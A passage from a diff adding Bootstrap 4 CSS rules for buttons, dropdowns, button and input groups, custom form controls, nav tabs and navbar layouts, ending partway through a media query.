+.btn-light:disabled { + color: #212529; + background-color: #f8f9fa; + border-color: #f8f9fa +} + +.btn-light:not(:disabled):not(.disabled).active, +.btn-light:not(:disabled):not(.disabled):active, +.show>.btn-light.dropdown-toggle { + color: #212529; + background-color: #dae0e5; + border-color: #d3d9df +} + +.btn-light:not(:disabled):not(.disabled).active:focus, +.btn-light:not(:disabled):not(.disabled):active:focus, +.show>.btn-light.dropdown-toggle:focus { + box-shadow: 0 0 0 .2rem rgba(248, 249, 250, .5) +} + +.btn-dark { + color: #fff; + background-color: #343a40; + border-color: #343a40 +} + +.btn-dark:hover { + color: #fff; + background-color: #23272b; + border-color: #1d2124 +} + +.btn-dark.focus, +.btn-dark:focus { + box-shadow: 0 0 0 .2rem rgba(52, 58, 64, .5) +} + +.btn-dark.disabled, +.btn-dark:disabled { + color: #fff; + background-color: #343a40; + border-color: #343a40 +} + +.btn-dark:not(:disabled):not(.disabled).active, +.btn-dark:not(:disabled):not(.disabled):active, +.show>.btn-dark.dropdown-toggle { + color: #fff; + background-color: #1d2124; + border-color: #171a1d +} + +.btn-dark:not(:disabled):not(.disabled).active:focus, +.btn-dark:not(:disabled):not(.disabled):active:focus, +.show>.btn-dark.dropdown-toggle:focus { + box-shadow: 0 0 0 .2rem rgba(52, 58, 64, .5) +} + +.btn-outline-primary { + color: #007bff; + background-color: transparent; + background-image: none; + border-color: #007bff +} + +.btn-outline-primary:hover { + color: #fff; + background-color: #007bff; + border-color: #007bff +} + +.btn-outline-primary.focus, +.btn-outline-primary:focus { + box-shadow: 0 0 0 .2rem rgba(0, 123, 255, .5) +} + +.btn-outline-primary.disabled, +.btn-outline-primary:disabled { + color: #007bff; + background-color: transparent +} + +.btn-outline-primary:not(:disabled):not(.disabled).active, +.btn-outline-primary:not(:disabled):not(.disabled):active, +.show>.btn-outline-primary.dropdown-toggle { + color: #fff; + background-color: #007bff; + border-color: #007bff +} + +.btn-outline-primary:not(:disabled):not(.disabled).active:focus, +.btn-outline-primary:not(:disabled):not(.disabled):active:focus, +.show>.btn-outline-primary.dropdown-toggle:focus { + box-shadow: 0 0 0 .2rem rgba(0, 123, 255, .5) +} + +.btn-outline-secondary { + color: #6c757d; + background-color: transparent; + background-image: none; + border-color: #6c757d +} + +.btn-outline-secondary:hover { + color: #fff; + background-color: #6c757d; + border-color: #6c757d +} + +.btn-outline-secondary.focus, +.btn-outline-secondary:focus { + box-shadow: 0 0 0 .2rem rgba(108, 117, 125, .5) +} + +.btn-outline-secondary.disabled, +.btn-outline-secondary:disabled { + color: #6c757d; + background-color: transparent +} + +.btn-outline-secondary:not(:disabled):not(.disabled).active, +.btn-outline-secondary:not(:disabled):not(.disabled):active, +.show>.btn-outline-secondary.dropdown-toggle { + color: #fff; + background-color: #6c757d; + border-color: #6c757d +} + +.btn-outline-secondary:not(:disabled):not(.disabled).active:focus, +.btn-outline-secondary:not(:disabled):not(.disabled):active:focus, +.show>.btn-outline-secondary.dropdown-toggle:focus { + box-shadow: 0 0 0 .2rem rgba(108, 117, 125, .5) +} + +.btn-outline-success { + color: #28a745; + background-color: transparent; + background-image: none; + border-color: #28a745 +} + +.btn-outline-success:hover { + color: #fff; + background-color: #28a745; + border-color: #28a745 +} + +.btn-outline-success.focus, +.btn-outline-success:focus { + box-shadow: 0 0 0 .2rem rgba(40, 167, 69, .5) +} + +.btn-outline-success.disabled, +.btn-outline-success:disabled { + color: #28a745; + background-color: transparent +} + +.btn-outline-success:not(:disabled):not(.disabled).active, +.btn-outline-success:not(:disabled):not(.disabled):active, +.show>.btn-outline-success.dropdown-toggle { + color: #fff; + background-color: #28a745; + border-color: #28a745 +} + +.btn-outline-success:not(:disabled):not(.disabled).active:focus, +.btn-outline-success:not(:disabled):not(.disabled):active:focus, +.show>.btn-outline-success.dropdown-toggle:focus { + box-shadow: 0 0 0 .2rem rgba(40, 167, 69, .5) +} + +.btn-outline-info { + color: #17a2b8; + background-color: transparent; + background-image: none; + border-color: #17a2b8 +} + +.btn-outline-info:hover { + color: #fff; + background-color: #17a2b8; + border-color: #17a2b8 +} + +.btn-outline-info.focus, +.btn-outline-info:focus { + box-shadow: 0 0 0 .2rem rgba(23, 162, 184, .5) +} + +.btn-outline-info.disabled, +.btn-outline-info:disabled { + color: #17a2b8; + background-color: transparent +} + +.btn-outline-info:not(:disabled):not(.disabled).active, +.btn-outline-info:not(:disabled):not(.disabled):active, +.show>.btn-outline-info.dropdown-toggle { + color: #fff; + background-color: #17a2b8; + border-color: #17a2b8 +} + +.btn-outline-info:not(:disabled):not(.disabled).active:focus, +.btn-outline-info:not(:disabled):not(.disabled):active:focus, +.show>.btn-outline-info.dropdown-toggle:focus { + box-shadow: 0 0 0 .2rem rgba(23, 162, 184, .5) +} + +.btn-outline-warning { + color: #ffc107; + background-color: transparent; + background-image: none; + border-color: #ffc107 +} + +.btn-outline-warning:hover { + color: #212529; + background-color: #ffc107; + border-color: #ffc107 +} + +.btn-outline-warning.focus, +.btn-outline-warning:focus { + box-shadow: 0 0 0 .2rem rgba(255, 193, 7, .5) +} + +.btn-outline-warning.disabled, +.btn-outline-warning:disabled { + color: #ffc107; + background-color: transparent +} + +.btn-outline-warning:not(:disabled):not(.disabled).active, +.btn-outline-warning:not(:disabled):not(.disabled):active, +.show>.btn-outline-warning.dropdown-toggle { + color: #212529; + background-color: #ffc107; + border-color: #ffc107 +} + +.btn-outline-warning:not(:disabled):not(.disabled).active:focus, +.btn-outline-warning:not(:disabled):not(.disabled):active:focus, +.show>.btn-outline-warning.dropdown-toggle:focus { + box-shadow: 0 0 0 .2rem rgba(255, 193, 7, .5) +} + +.btn-outline-danger { + color: #dc3545; + background-color: transparent; + background-image: none; + border-color: #dc3545 +} + +.btn-outline-danger:hover { + color: #fff; + background-color: #dc3545; + border-color: #dc3545 +} + +.btn-outline-danger.focus, +.btn-outline-danger:focus { + box-shadow: 0 0 0 .2rem rgba(220, 53, 69, .5) +} + +.btn-outline-danger.disabled, +.btn-outline-danger:disabled { + color: #dc3545; + background-color: transparent +} + +.btn-outline-danger:not(:disabled):not(.disabled).active, +.btn-outline-danger:not(:disabled):not(.disabled):active, +.show>.btn-outline-danger.dropdown-toggle { + color: #fff; + background-color: #dc3545; + border-color: #dc3545 +} + +.btn-outline-danger:not(:disabled):not(.disabled).active:focus, +.btn-outline-danger:not(:disabled):not(.disabled):active:focus, +.show>.btn-outline-danger.dropdown-toggle:focus { + box-shadow: 0 0 0 .2rem rgba(220, 53, 69, .5) +} + +.btn-outline-light { + color: #f8f9fa; + background-color: transparent; + background-image: none; + border-color: #f8f9fa +} + +.btn-outline-light:hover { + color: #212529; + background-color: #f8f9fa; + border-color: #f8f9fa +} + +.btn-outline-light.focus, +.btn-outline-light:focus { + box-shadow: 0 0 0 .2rem rgba(248, 249, 250, .5) +} + +.btn-outline-light.disabled, +.btn-outline-light:disabled { + color: #f8f9fa; + background-color: transparent +} + +.btn-outline-light:not(:disabled):not(.disabled).active, +.btn-outline-light:not(:disabled):not(.disabled):active, +.show>.btn-outline-light.dropdown-toggle { + color: #212529; + background-color: #f8f9fa; + border-color: #f8f9fa +} + +.btn-outline-light:not(:disabled):not(.disabled).active:focus, +.btn-outline-light:not(:disabled):not(.disabled):active:focus, +.show>.btn-outline-light.dropdown-toggle:focus { + box-shadow: 0 0 0 .2rem rgba(248, 249, 250, .5) +} + +.btn-outline-dark { + color: #343a40; + background-color: transparent; + background-image: none; + border-color: #343a40 +} + +.btn-outline-dark:hover { + color: #fff; + background-color: #343a40; + border-color: #343a40 +} + +.btn-outline-dark.focus, +.btn-outline-dark:focus { + box-shadow: 0 0 0 .2rem rgba(52, 58, 64, .5) +} + +.btn-outline-dark.disabled, +.btn-outline-dark:disabled { + color: #343a40; + background-color: transparent +} + +.btn-outline-dark:not(:disabled):not(.disabled).active, +.btn-outline-dark:not(:disabled):not(.disabled):active, +.show>.btn-outline-dark.dropdown-toggle { + color: #fff; + background-color: #343a40; + border-color: #343a40 +} + +.btn-outline-dark:not(:disabled):not(.disabled).active:focus, +.btn-outline-dark:not(:disabled):not(.disabled):active:focus, +.show>.btn-outline-dark.dropdown-toggle:focus { + box-shadow: 0 0 0 .2rem rgba(52, 58, 64, .5) +} + +.btn-link { + font-weight: 400; + color: #007bff; + background-color: transparent +} + +.btn-link:hover { + color: #0056b3; + text-decoration: underline; + background-color: transparent; + border-color: transparent +} + +.btn-link.focus, +.btn-link:focus { + text-decoration: underline; + border-color: transparent; + box-shadow: none +} + +.btn-link.disabled, +.btn-link:disabled { + color: #6c757d +} + +.btn-group-lg>.btn, +.btn-lg { + padding: .5rem 1rem; + font-size: 1.25rem; + line-height: 1.5; + border-radius: .3rem +} + +.btn-group-sm>.btn, +.btn-sm { + padding: .25rem .5rem; + font-size: .875rem; + line-height: 1.5; + border-radius: .2rem +} + +.btn-block { + display: block; + width: 100% +} + +.btn-block+.btn-block { + margin-top: .5rem +} + +input[type=button].btn-block, +input[type=reset].btn-block, +input[type=submit].btn-block { + width: 100% +} + +.fade { + opacity: 0; + transition: opacity .15s linear +} + +.fade.show { + opacity: 1 +} + +.collapse { + display: none +} + +.collapse.show { + display: block +} + +tr.collapse.show { + display: table-row +} + +tbody.collapse.show { + display: table-row-group +} + +.collapsing { + position: relative; + height: 0; + overflow: hidden; + transition: height .35s ease +} + +.dropdown, +.dropup { + position: relative +} + +.dropdown-toggle::after { + display: inline-block; + width: 0; + height: 0; + margin-left: .255em; + vertical-align: .255em; + content: ""; + border-top: .3em solid; + border-right: .3em solid transparent; + border-bottom: 0; + border-left: .3em solid transparent +} + +.dropdown-toggle:empty::after { + margin-left: 0 +} + +.dropdown-menu { + position: absolute; + top: 100%; + left: 0; + z-index: 1000; + display: none; + float: left; + min-width: 10rem; + padding: .5rem 0; + margin: .125rem 0 0; + font-size: 1rem; + color: #212529; + text-align: left; + list-style: none; + background-color: #fff; + background-clip: padding-box; + border: 1px solid rgba(0, 0, 0, .15); + border-radius: .25rem +} + +.dropup .dropdown-menu { + margin-top: 0; + margin-bottom: .125rem +} + +.dropup .dropdown-toggle::after { + display: inline-block; + width: 0; + height: 0; + margin-left: .255em; + vertical-align: .255em; + content: ""; + border-top: 0; + border-right: .3em solid transparent; + border-bottom: .3em solid; + border-left: .3em solid transparent +} + +.dropup .dropdown-toggle:empty::after { + margin-left: 0 +} + +.dropright .dropdown-menu { + margin-top: 0; + margin-left: .125rem +} + +.dropright .dropdown-toggle::after { + display: inline-block; + width: 0; + height: 0; + margin-left: .255em; + vertical-align: .255em; + content: ""; + border-top: .3em solid transparent; + border-bottom: .3em solid transparent; + border-left: .3em solid +} + +.dropright .dropdown-toggle:empty::after { + margin-left: 0 +} + +.dropright .dropdown-toggle::after { + vertical-align: 0 +} + +.dropleft .dropdown-menu { + margin-top: 0; + margin-right: .125rem +} + +.dropleft .dropdown-toggle::after { + display: inline-block; + width: 0; + height: 0; + margin-left: .255em; + vertical-align: .255em; + content: "" +} + +.dropleft .dropdown-toggle::after { + display: none +} + +.dropleft .dropdown-toggle::before { + display: inline-block; + width: 0; + height: 0; + margin-right: .255em; + vertical-align: .255em; + content: ""; + border-top: .3em solid transparent; + border-right: .3em solid; + border-bottom: .3em solid transparent +} + +.dropleft .dropdown-toggle:empty::after { + margin-left: 0 +} + +.dropleft .dropdown-toggle::before { + vertical-align: 0 +} + +.dropdown-divider { + height: 0; + margin: .5rem 0; + overflow: hidden; + border-top: 1px solid #e9ecef +} + +.dropdown-item { + display: block; + width: 100%; + padding: .25rem 1.5rem; + clear: both; + font-weight: 400; + color: #212529; + text-align: inherit; + white-space: nowrap; + background-color: transparent; + border: 0 +} + +.dropdown-item:focus, +.dropdown-item:hover { + color: #16181b; + text-decoration: none; + background-color: #f8f9fa +} + +.dropdown-item.active, +.dropdown-item:active { + color: #fff; + text-decoration: none; + background-color: #007bff +} + +.dropdown-item.disabled, +.dropdown-item:disabled { + color: #6c757d; + background-color: transparent +} + +.dropdown-menu.show { + display: block +} + +.dropdown-header { + display: block; + padding: .5rem 1.5rem; + margin-bottom: 0; + font-size: .875rem; + color: #6c757d; + white-space: nowrap +} + +.btn-group, +.btn-group-vertical { + position: relative; + display: -webkit-inline-box; + display: -ms-inline-flexbox; + display: inline-flex; + vertical-align: middle +} + +.btn-group-vertical>.btn, +.btn-group>.btn { + position: relative; + -webkit-box-flex: 0; + -ms-flex: 0 1 auto; + flex: 0 1 auto +} + +.btn-group-vertical>.btn:hover, +.btn-group>.btn:hover { + z-index: 1 +} + +.btn-group-vertical>.btn.active, +.btn-group-vertical>.btn:active, +.btn-group-vertical>.btn:focus, +.btn-group>.btn.active, +.btn-group>.btn:active, +.btn-group>.btn:focus { + z-index: 1 +} + +.btn-group .btn+.btn, +.btn-group .btn+.btn-group, +.btn-group .btn-group+.btn, +.btn-group .btn-group+.btn-group, +.btn-group-vertical .btn+.btn, +.btn-group-vertical .btn+.btn-group, +.btn-group-vertical .btn-group+.btn, +.btn-group-vertical .btn-group+.btn-group { + margin-left: -1px +} + +.btn-toolbar { + display: -webkit-box; + display: -ms-flexbox; + display: flex; + -ms-flex-wrap: wrap; + flex-wrap: wrap; + -webkit-box-pack: start; + -ms-flex-pack: start; + justify-content: flex-start +} + +.btn-toolbar .input-group { + width: auto +} + +.btn-group>.btn:first-child { + margin-left: 0 +} + +.btn-group>.btn-group:not(:last-child)>.btn, +.btn-group>.btn:not(:last-child):not(.dropdown-toggle) { + border-top-right-radius: 0; + border-bottom-right-radius: 0 +} + +.btn-group>.btn-group:not(:first-child)>.btn, +.btn-group>.btn:not(:first-child) { + border-top-left-radius: 0; + border-bottom-left-radius: 0 +} + +.dropdown-toggle-split { + padding-right: .5625rem; + padding-left: .5625rem +} + +.dropdown-toggle-split::after { + margin-left: 0 +} + +.btn-group-sm>.btn+.dropdown-toggle-split, +.btn-sm+.dropdown-toggle-split { + padding-right: .375rem; + padding-left: .375rem +} + +.btn-group-lg>.btn+.dropdown-toggle-split, +.btn-lg+.dropdown-toggle-split { + padding-right: .75rem; + padding-left: .75rem +} + +.btn-group-vertical { + -webkit-box-orient: vertical; + -webkit-box-direction: normal; + -ms-flex-direction: column; + flex-direction: column; + -webkit-box-align: start; + -ms-flex-align: start; + align-items: flex-start; + -webkit-box-pack: center; + -ms-flex-pack: center; + justify-content: center +} + +.btn-group-vertical .btn, +.btn-group-vertical .btn-group { + width: 100% +} + +.btn-group-vertical>.btn+.btn, +.btn-group-vertical>.btn+.btn-group, +.btn-group-vertical>.btn-group+.btn, +.btn-group-vertical>.btn-group+.btn-group { + margin-top: -1px; + margin-left: 0 +} + +.btn-group-vertical>.btn-group:not(:last-child)>.btn, +.btn-group-vertical>.btn:not(:last-child):not(.dropdown-toggle) { + border-bottom-right-radius: 0; + border-bottom-left-radius: 0 +} + +.btn-group-vertical>.btn-group:not(:first-child)>.btn, +.btn-group-vertical>.btn:not(:first-child) { + border-top-left-radius: 0; + border-top-right-radius: 0 +} + +.btn-group-toggle>.btn, +.btn-group-toggle>.btn-group>.btn { + margin-bottom: 0 +} + +.btn-group-toggle>.btn input[type=checkbox], +.btn-group-toggle>.btn input[type=radio], +.btn-group-toggle>.btn-group>.btn input[type=checkbox], +.btn-group-toggle>.btn-group>.btn input[type=radio] { + position: absolute; + clip: rect(0, 0, 0, 0); + pointer-events: none +} + +.input-group { + position: relative; + display: -webkit-box; + display: -ms-flexbox; + display: flex; + -ms-flex-wrap: wrap; + flex-wrap: wrap; + -webkit-box-align: stretch; + -ms-flex-align: stretch; + align-items: stretch; + width: 100% +} + +.input-group>.custom-file, +.input-group>.custom-select, +.input-group>.form-control { + position: relative; + -webkit-box-flex: 1; + -ms-flex: 1 1 auto; + flex: 1 1 auto; + width: 1%; + margin-bottom: 0 +} + +.input-group>.custom-file:focus, +.input-group>.custom-select:focus, +.input-group>.form-control:focus { + z-index: 3 +} + +.input-group>.custom-file+.custom-file, +.input-group>.custom-file+.custom-select, +.input-group>.custom-file+.form-control, +.input-group>.custom-select+.custom-file, +.input-group>.custom-select+.custom-select, +.input-group>.custom-select+.form-control, +.input-group>.form-control+.custom-file, +.input-group>.form-control+.custom-select, +.input-group>.form-control+.form-control { + margin-left: -1px +} + +.input-group>.custom-select:not(:last-child), +.input-group>.form-control:not(:last-child) { + border-top-right-radius: 0; + border-bottom-right-radius: 0 +} + +.input-group>.custom-select:not(:first-child), +.input-group>.form-control:not(:first-child) { + border-top-left-radius: 0; + border-bottom-left-radius: 0 +} + +.input-group>.custom-file { + display: -webkit-box; + display: -ms-flexbox; + display: flex; + -webkit-box-align: center; + -ms-flex-align: center; + align-items: center +} + +.input-group>.custom-file:not(:last-child) .custom-file-label, +.input-group>.custom-file:not(:last-child) .custom-file-label::before { + border-top-right-radius: 0; + border-bottom-right-radius: 0 +} + +.input-group>.custom-file:not(:first-child) .custom-file-label, +.input-group>.custom-file:not(:first-child) .custom-file-label::before { + border-top-left-radius: 0; + border-bottom-left-radius: 0 +} + +.input-group-append, +.input-group-prepend { + display: -webkit-box; + display: -ms-flexbox; + display: flex +} + +.input-group-append .btn, +.input-group-prepend .btn { + position: relative; + z-index: 2 +} + +.input-group-append .btn+.btn, +.input-group-append .btn+.input-group-text, +.input-group-append .input-group-text+.btn, +.input-group-append .input-group-text+.input-group-text, +.input-group-prepend .btn+.btn, +.input-group-prepend .btn+.input-group-text, +.input-group-prepend .input-group-text+.btn, +.input-group-prepend .input-group-text+.input-group-text { + margin-left: -1px +} + +.input-group-prepend { + margin-right: -1px +} + +.input-group-append { + margin-left: -1px +} + +.input-group-text { + display: -webkit-box; + display: -ms-flexbox; + display: flex; + -webkit-box-align: center; + -ms-flex-align: center; + align-items: center; + padding: .375rem .75rem; + margin-bottom: 0; + font-size: 1rem; + font-weight: 400; + line-height: 1.5; + color: #495057; + text-align: center; + white-space: nowrap; + background-color: #e9ecef; + border: 1px solid #ced4da; + border-radius: .25rem +} + +.input-group-text input[type=checkbox], +.input-group-text input[type=radio] { + margin-top: 0 +} + +.input-group>.input-group-append:last-child>.btn:not(:last-child):not(.dropdown-toggle), +.input-group>.input-group-append:last-child>.input-group-text:not(:last-child), +.input-group>.input-group-append:not(:last-child)>.btn, +.input-group>.input-group-append:not(:last-child)>.input-group-text, +.input-group>.input-group-prepend>.btn, +.input-group>.input-group-prepend>.input-group-text { + border-top-right-radius: 0; + border-bottom-right-radius: 0 +} + +.input-group>.input-group-append>.btn, +.input-group>.input-group-append>.input-group-text, +.input-group>.input-group-prepend:first-child>.btn:not(:first-child), +.input-group>.input-group-prepend:first-child>.input-group-text:not(:first-child), +.input-group>.input-group-prepend:not(:first-child)>.btn, +.input-group>.input-group-prepend:not(:first-child)>.input-group-text { + border-top-left-radius: 0; + border-bottom-left-radius: 0 +} + +.custom-control { + position: relative; + display: block; + min-height: 1.5rem; + padding-left: 1.5rem +} + +.custom-control-inline { + display: -webkit-inline-box; + display: -ms-inline-flexbox; + display: inline-flex; + margin-right: 1rem +} + +.custom-control-input { + position: absolute; + z-index: -1; + opacity: 0 +} + +.custom-control-input:checked~.custom-control-label::before { + color: #fff; + background-color: #007bff +} + +.custom-control-input:focus~.custom-control-label::before { + box-shadow: 0 0 0 1px #fff, 0 0 0 .2rem rgba(0, 123, 255, .25) +} + +.custom-control-input:active~.custom-control-label::before { + color: #fff; + background-color: #b3d7ff +} + +.custom-control-input:disabled~.custom-control-label { + color: #6c757d +} + +.custom-control-input:disabled~.custom-control-label::before { + background-color: #e9ecef +} + +.custom-control-label { + margin-bottom: 0 +} + +.custom-control-label::before { + position: absolute; + top: .25rem; + left: 0; + display: block; + width: 1rem; + height: 1rem; + pointer-events: none; + content: ""; + -webkit-user-select: none; + -moz-user-select: none; + -ms-user-select: none; + user-select: none; + background-color: #dee2e6 +} + +.custom-control-label::after { + position: absolute; + top: .25rem; + left: 0; + display: block; + width: 1rem; + height: 1rem; + content: ""; + background-repeat: no-repeat; + background-position: center center; + background-size: 50% 50% +} + +.custom-checkbox .custom-control-label::before { + border-radius: .25rem +} + +.custom-checkbox .custom-control-input:checked~.custom-control-label::before { + background-color: #007bff +} + +.custom-checkbox .custom-control-input:checked~.custom-control-label::after { + background-image: url("data:image/svg+xml;charset=utf8,%3Csvg xmlns='http://www.w3.org/2000/svg' viewBox='0 0 8 8'%3E%3Cpath fill='%23fff' d='M6.564.75l-3.59 3.612-1.538-1.55L0 4.26 2.974 7.25 8 2.193z'/%3E%3C/svg%3E") +} + +.custom-checkbox .custom-control-input:indeterminate~.custom-control-label::before { + background-color: #007bff +} + +.custom-checkbox .custom-control-input:indeterminate~.custom-control-label::after { + background-image: url("data:image/svg+xml;charset=utf8,%3Csvg xmlns='http://www.w3.org/2000/svg' viewBox='0 0 4 4'%3E%3Cpath stroke='%23fff' d='M0 2h4'/%3E%3C/svg%3E") +} + +.custom-checkbox .custom-control-input:disabled:checked~.custom-control-label::before { + background-color: rgba(0, 123, 255, .5) +} + +.custom-checkbox .custom-control-input:disabled:indeterminate~.custom-control-label::before { + background-color: rgba(0, 123, 255, .5) +} + +.custom-radio .custom-control-label::before { + border-radius: 50% +} + +.custom-radio .custom-control-input:checked~.custom-control-label::before { + background-color: #007bff +} + +.custom-radio .custom-control-input:checked~.custom-control-label::after { + background-image: url("data:image/svg+xml;charset=utf8,%3Csvg xmlns='http://www.w3.org/2000/svg' viewBox='-4 -4 8 8'%3E%3Ccircle r='3' fill='%23fff'/%3E%3C/svg%3E") +} + +.custom-radio .custom-control-input:disabled:checked~.custom-control-label::before { + background-color: rgba(0, 123, 255, .5) +} + +.custom-select { + display: inline-block; + width: 100%; + height: calc(2.25rem + 2px); + padding: .375rem 1.75rem .375rem .75rem; + line-height: 1.5; + color: #495057; + vertical-align: middle; + background: #fff url("data:image/svg+xml;charset=utf8,%3Csvg xmlns='http://www.w3.org/2000/svg' viewBox='0 0 4 5'%3E%3Cpath fill='%23343a40' d='M2 0L0 2h4zm0 5L0 3h4z'/%3E%3C/svg%3E") no-repeat right .75rem center; + background-size: 8px 10px; + border: 1px solid #ced4da; + border-radius: .25rem; + -webkit-appearance: none; + -moz-appearance: none; + appearance: none +} + +.custom-select:focus { + border-color: #80bdff; + outline: 0; + box-shadow: inset 0 1px 2px rgba(0, 0, 0, .075), 0 0 5px rgba(128, 189, 255, .5) +} + +.custom-select:focus::-ms-value { + color: #495057; + background-color: #fff +} + +.custom-select[multiple], +.custom-select[size]:not([size="1"]) { + height: auto; + padding-right: .75rem; + background-image: none +} + +.custom-select:disabled { + color: #6c757d; + background-color: #e9ecef +} + +.custom-select::-ms-expand { + opacity: 0 +} + +.custom-select-sm { + height: calc(1.8125rem + 2px); + padding-top: .375rem; + padding-bottom: .375rem; + font-size: 75% +} + +.custom-select-lg { + height: calc(2.875rem + 2px); + padding-top: .375rem; + padding-bottom: .375rem; + font-size: 125% +} + +.custom-file { + position: relative; + display: inline-block; + width: 100%; + height: calc(2.25rem + 2px); + margin-bottom: 0 +} + +.custom-file-input { + position: relative; + z-index: 2; + width: 100%; + height: calc(2.25rem + 2px); + margin: 0; + opacity: 0 +} + +.custom-file-input:focus~.custom-file-control { + border-color: #80bdff; + box-shadow: 0 0 0 .2rem rgba(0, 123, 255, .25) +} + +.custom-file-input:focus~.custom-file-control::before { + border-color: #80bdff +} + +.custom-file-input:lang(en)~.custom-file-label::after { + content: "Browse" +} + +.custom-file-label { + position: absolute; + top: 0; + right: 0; + left: 0; + z-index: 1; + height: calc(2.25rem + 2px); + padding: .375rem .75rem; + line-height: 1.5; + color: #495057; + background-color: #fff; + border: 1px solid #ced4da; + border-radius: .25rem +} + +.custom-file-label::after { + position: absolute; + top: 0; + right: 0; + bottom: 0; + z-index: 3; + display: block; + height: calc(calc(2.25rem + 2px) - 1px * 2); + padding: .375rem .75rem; + line-height: 1.5; + color: #495057; + content: "Browse"; + background-color: #e9ecef; + border-left: 1px solid #ced4da; + border-radius: 0 .25rem .25rem 0 +} + +.nav { + display: -webkit-box; + display: -ms-flexbox; + display: flex; + -ms-flex-wrap: wrap; + flex-wrap: wrap; + padding-left: 0; + margin-bottom: 0; + list-style: none +} + +.nav-link { + display: block; + padding: .5rem 1rem +} + +.nav-link:focus, +.nav-link:hover { + text-decoration: none +} + +.nav-link.disabled { + color: #6c757d +} + +.nav-tabs { + border-bottom: 1px solid #dee2e6 +} + +.nav-tabs .nav-item { + margin-bottom: -1px +} + +.nav-tabs .nav-link { + border: 1px solid transparent; + border-top-left-radius: .25rem; + border-top-right-radius: .25rem +} + +.nav-tabs .nav-link:focus, +.nav-tabs .nav-link:hover { + border-color: #e9ecef #e9ecef #dee2e6 +} + +.nav-tabs .nav-link.disabled { + color: #6c757d; + background-color: transparent; + border-color: transparent +} + +.nav-tabs .nav-item.show .nav-link, +.nav-tabs .nav-link.active { + color: #495057; + background-color: #fff; + border-color: #dee2e6 #dee2e6 #fff +} + +.nav-tabs .dropdown-menu { + margin-top: -1px; + border-top-left-radius: 0; + border-top-right-radius: 0 +} + +.nav-pills .nav-link { + border-radius: .25rem +} + +.nav-pills .nav-link.active, +.nav-pills .show>.nav-link { + color: #fff; + background-color: #007bff +} + +.nav-fill .nav-item { + -webkit-box-flex: 1; + -ms-flex: 1 1 auto; + flex: 1 1 auto; + text-align: center +} + +.nav-justified .nav-item { + -ms-flex-preferred-size: 0; + flex-basis: 0; + -webkit-box-flex: 1; + -ms-flex-positive: 1; + flex-grow: 1; + text-align: center +} + +.tab-content>.tab-pane { + display: none +} + +.tab-content>.active { + display: block +} + +.navbar { + position: relative; + display: -webkit-box; + display: -ms-flexbox; + display: flex; + -ms-flex-wrap: wrap; + flex-wrap: wrap; + -webkit-box-align: center; + -ms-flex-align: center; + align-items: center; + -webkit-box-pack: justify; + -ms-flex-pack: justify; + justify-content: space-between; + padding: .5rem 1rem +} + +.navbar>.container, +.navbar>.container-fluid { + display: -webkit-box; + display: -ms-flexbox; + display: flex; + -ms-flex-wrap: wrap; + flex-wrap: wrap; + -webkit-box-align: center; + -ms-flex-align: center; + align-items: center; + -webkit-box-pack: justify; + -ms-flex-pack: justify; + justify-content: space-between +} + +.navbar-brand { + display: inline-block; + padding-top: .3125rem; + padding-bottom: .3125rem; + margin-right: 1rem; + font-size: 1.25rem; + line-height: inherit; + white-space: nowrap +} + +.navbar-brand:focus, +.navbar-brand:hover { + text-decoration: none +} + +.navbar-nav { + display: -webkit-box; + display: -ms-flexbox; + display: flex; + -webkit-box-orient: vertical; + -webkit-box-direction: normal; + -ms-flex-direction: column; + flex-direction: column; + padding-left: 0; + margin-bottom: 0; + list-style: none +} + +.navbar-nav .nav-link { + padding-right: 0; + padding-left: 0 +} + +.navbar-nav .dropdown-menu { + position: static; + float: none +} + +.navbar-text { + display: inline-block; + padding-top: .5rem; + padding-bottom: .5rem +} + +.navbar-collapse { + -ms-flex-preferred-size: 100%; + flex-basis: 100%; + -webkit-box-flex: 1; + -ms-flex-positive: 1; + flex-grow: 1; + -webkit-box-align: center; + -ms-flex-align: center; + align-items: center +} + +.navbar-toggler { + padding: .25rem .75rem; + font-size: 1.25rem; + line-height: 1; + background-color: transparent; + border: 1px solid transparent; + border-radius: .25rem +} + +.navbar-toggler:focus, +.navbar-toggler:hover { + text-decoration: none +} + +.navbar-toggler:not(:disabled):not(.disabled) { + cursor: pointer +} + +.navbar-toggler-icon { + display: inline-block; + width: 1.5em; + height: 1.5em; + vertical-align: middle; + content: ""; + background: no-repeat center center; + background-size: 100% 100% +} + +@media (max-width:575.98px) { + .navbar-expand-sm>.container, + .navbar-expand-sm>.container-fluid { + padding-right: 0; + padding-left: 0 + } +} + +@media (min-width:576px) { + .navbar-expand-sm { + -webkit-box-orient: horizontal; + -webkit-box-direction: normal; + -ms-flex-flow: row nowrap; + flex-flow: row nowrap; + -webkit-box-pack: start; + -ms-flex-pack: start; + justify-content: flex-start + } + .navbar-expand-sm .navbar-nav { + -webkit-box-orient: horizontal; + -webkit-box-direction: normal; + -ms-flex-direction: row; + flex-direction: row + } + .navbar-expand-sm .navbar-nav .dropdown-menu { + position: absolute + } + .navbar-expand-sm .navbar-nav .dropdown-menu-right { + right: 0; + left: auto + } + .navbar-expand-sm .navbar-nav .nav-link { + padding-right: .5rem; + padding-left: .5rem + } + .navbar-expand-sm>.container, + .navbar-expand-sm>.container-fluid { + -ms-flex-wrap: nowrap; + flex-wrap: nowrap + } + .navbar-expand-sm .navbar-collapse { + display: -webkit-box !important; + display: -ms-flexbox !important; + display: flex !important; + -ms-flex-preferred-size: auto; + flex-basis: auto + } + .navbar-expand-sm .navbar-toggler { + display: none + } + .navbar-expand-sm .dropup .dropdown-menu { + top: auto; + bottom: 100% + } +} + +@media (max-width:767.98px) { + .navbar-expand-md>.container, + .navbar-expand-md>.container-fluid { + padding-right: 0; + padding-left: 0 + } +} + +@media (min-width:768px) { + .navbar-expand-md { + -webkit-box-orient: horizontal; + -webkit-box-direction: normal; + -ms-flex-flow: row nowrap; + flex-flow: row nowrap; + -webkit-box-pack: start; + -ms-flex-pack: start; + justify-content: flex-start + } + .navbar-expand-md .navbar-nav { + -webkit-box-orient: horizontal; + -webkit-box-direction: normal; + -ms-flex-direction: row; + flex-direction: row + } + .navbar-expand-md .navbar-nav .dropdown-menu { + position: absolute + } + .navbar-expand-md .navbar-nav .dropdown-menu-right { + right: 0; + left: auto + } + .navbar-expand-md .navbar-nav .nav-link { + padding-right: .5rem; + padding-left: .5rem + } + .navbar-expand-md>.container, + .navbar-expand-md>.container-fluid { + -ms-flex-wrap: nowrap; + flex-wrap: nowrap + } + .navbar-expand-md .navbar-collapse { + display: -webkit-box !important; + display: -ms-flexbox !important; + display: flex !important; + -ms-flex-preferred-size: auto; + flex-basis: auto + } + .navbar-expand-md 